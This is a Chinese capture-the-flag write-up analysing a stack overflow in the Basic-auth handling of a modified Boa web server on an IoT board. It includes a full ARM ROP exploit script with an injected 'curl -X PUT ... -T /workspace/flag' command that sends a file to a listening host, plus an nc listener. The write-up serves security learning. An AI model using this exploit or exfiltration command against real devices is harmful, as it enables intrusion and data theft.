西湖论剑IoT闯关赛-babyboa

西湖论剑IoT闯关赛-babyboa

十一月 16, 2020 阅读数

前言

本次赛题所有题目都是通过下面的板子作为载体,所有板子安恒Aodzip师傅手焊的。其中的uart口用于调试,otg口刷固件。pwr开关机键,RST复位键。

刷的固件存在spi flash中,带了编程器和烧录夹的兄弟萌,可以直接提取固件然后进入其中extra分区中,里面有flag。

漏洞定位

其中的3道嵌入式pwn题目全是H4lo师傅出的,第一题是babyboa,提供的固件中提供了二进制boa和boa.conf。正常情况是不给调试的,除非大家都做不出来。

配置文件boa.conf给的重点有:ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/,这是要通过/cgi-bin/xxxx来触发漏洞?

继续分析boa,boa服务器的特点参考Differences between Boa and other web servers

  • There are no access control features

    Boa will follow symbolic links, and serve any file that it can read. The expectation is that you will configure Boa to run as user “nobody”, and only files configured world readable will come out.

身份认证代码这块完全是二次开发的,大概率会出问题。通过寻找字符串“401 Unauthorized”定位到身份验证函数sub_1D1E4(),

其中sub_1D138函数读取/tmp/passwd内容,用于与输入的用户名密码进行比较。

定位到字符串“Basic”后,进行base64decode之后定位冒号“:”,获取用户输入的密码。strcpy()函数将输入到BSS段的434F8,本以为漏洞点是通过BSS溢出覆盖全局变量,然而并不是……

继续往下分析,strtok函数获取用户名,并且v6中的内容也是用户名。

然后进入sub_1D1AC函数,真正的漏洞点位于其中的sprintf(),但是当时第一次看,IDA没有把sprintf后面两个参数显示出来,就放过了。还是洞挖少了,调少了,对这些没那么敏感……

之后将参数补齐就很明显能够看出漏洞点了。sprintf函数将用户名密码按照”%s:%s”格式拷贝到栈上局部变量中,用户名和密码都是可以控制的,缓冲区溢出没错了。

漏洞利用

确定偏移

直接通过汇编能够看出来,R0距离LR的偏移为0x130。

构造ROP链

主要是找到system函数,然后将命令cmd地址输入到R0即可。

需要注意的是00截断问题,payload中不能含有\x00。在没有调试的情况下,不清楚是否开启地址随机化,避免泄漏libc,需要通过在boa中找到能用的gadget并且要避免00截断。

在boa中找到gadget,通过控制R6来控制R0,R0=[R6+0x10]>>8。将R6+0x10所指地址内容逻辑右移8位赋给R0。

所以*(R6+0x10)应该存放&cmd<<8 ,cmd字符串可以通过前面的strcpy拷贝到bss段。但是cmd字符串的地址应该怎么给到R6呢?想着通过boa中gadget来pop到R6。gadget都是以00字符串开头,这样就导致payload有两个gadget,那第一个gadget的00会被截断。

但是在进入sub_1D1AC函数发送sprintf栈溢出之前,R6中的值为base64decode的返回值,也就是R6指向了base64解码之后的username:password字符串。之后MOV R0, R6,R6和R0指向同一地址,通过strtok函数之后,R6指向为:前username字符串。

于是在R6+0x10所指地址处布置&cmd<<8能够在执行gadget时使R0指向cmd字符串,并跳转至system,上面也提到password会被strcpy放置到bss段的0x434F8这个地址。那这个地址可以用来存放cmd命令。

最后应该形成如下payload:

    offset = 0x130
    cmd = 'curl -X PUT 20.20.11.13:1111 -T /workspace/flag;'
    payload = ""
    payload += 'a' * 0x10                 # padding
    payload = p32(0x434F8bb)             # &cmd<<8
    payload = payload.ljust(offset-len(cmd)-1,'a')                 #padding
    payload += ':'                        # split username:password
    payload += cmd                        # cmd store to 0x434F8bb
    paylpad += p32(0x1d2dc)                # R6-gadget

漏洞测试

  • 没有UART调试串口

    • 应该需要最新的ubuntu20.04,16.04和18.04报错内核too old
    • qemu-arm -L /usr/arm-linux-gnueabi boa -c . -f boa.conf -d
  • UART调试串口

    • SecureCRT或MobaXterm创建Serial session,波特率设置为115200

    • 固件:gdbserver :1234 --attach $PID

    • 调试机:gdb-multiarch boa -q -x $gdbscript

        set architecture arm
          set sysroot .
          target remote 20.20.11.14:1234
          b *0x001D1C0
          b *0x001D1DC
    • 服务重启:/workspace/boa -c /html -f /etc/boa/boa.conf

Exp

from pwn import *
context(arch = 'arm', endian = 'little',log_level = 'debug' )

p = remote("20.20.11.14",80)

offset = 0x130
cmd = 'curl -X PUT 20.20.11.13:1111 -T /workspace/flag;'
payload = ""
payload += 'a' * 0x10                 # padding
payload += p32(0x434F8bb)             # &cmd<<8
#payload += 'a' * 0xeb                 #padding
payload = payload.ljust(offset-len(cmd)-1,'a') #padding
payload += ':'                        # split username:password
payload += cmd                        # cmd store to 0x434F8bb
payload += p32(0x1d2dc)                # R6-gadget
payload = base64.b64encode(payload)

post = ''
post += 'GET / HTTP/1.1\r\n'
post += 'Host: 20.20.11.14\r\n'
post += 'Authorization: Basic {}\r\n'.format(payload)
post += '\r\n'
p.send(post)
p.close()

nc -vlp 1111